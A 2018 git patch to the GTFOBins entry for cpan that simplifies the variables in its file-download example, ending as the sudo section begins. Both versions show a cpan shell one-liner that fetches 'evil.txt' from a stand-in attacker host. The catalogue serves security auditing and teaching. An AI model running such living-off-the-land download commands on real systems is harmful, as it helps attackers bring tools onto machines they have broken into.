From 754e5e0f95e3bd72bd3abccf5c630dd1e5e9cace Mon Sep 17 00:00:00 2001 From: Shaksham Jaiswal Date: Thu, 8 Nov 2018 15:35:39 +0000 Subject: [PATCH] variable fix --- _gtfobins/cpan.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/_gtfobins/cpan.md b/_gtfobins/cpan.md index 0c6648a..c84170f 100644 --- a/_gtfobins/cpan.md +++ b/_gtfobins/cpan.md @@ -23,10 +23,9 @@ functions: file-download: - description: Fetch a remote file via HTTP GET request and store it in PWD. code: | - export RHOST=attacker.com - export DFILE=evil.txt + export URL=http://attacker.com/evil.txt cpan - ! use File::Fetch; my $file = (File::Fetch->new(uri => "http://$ENV{RHOST}/$ENV{DFILE}"))->fetch(); + ! use File::Fetch; my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch(); sudo: - code: |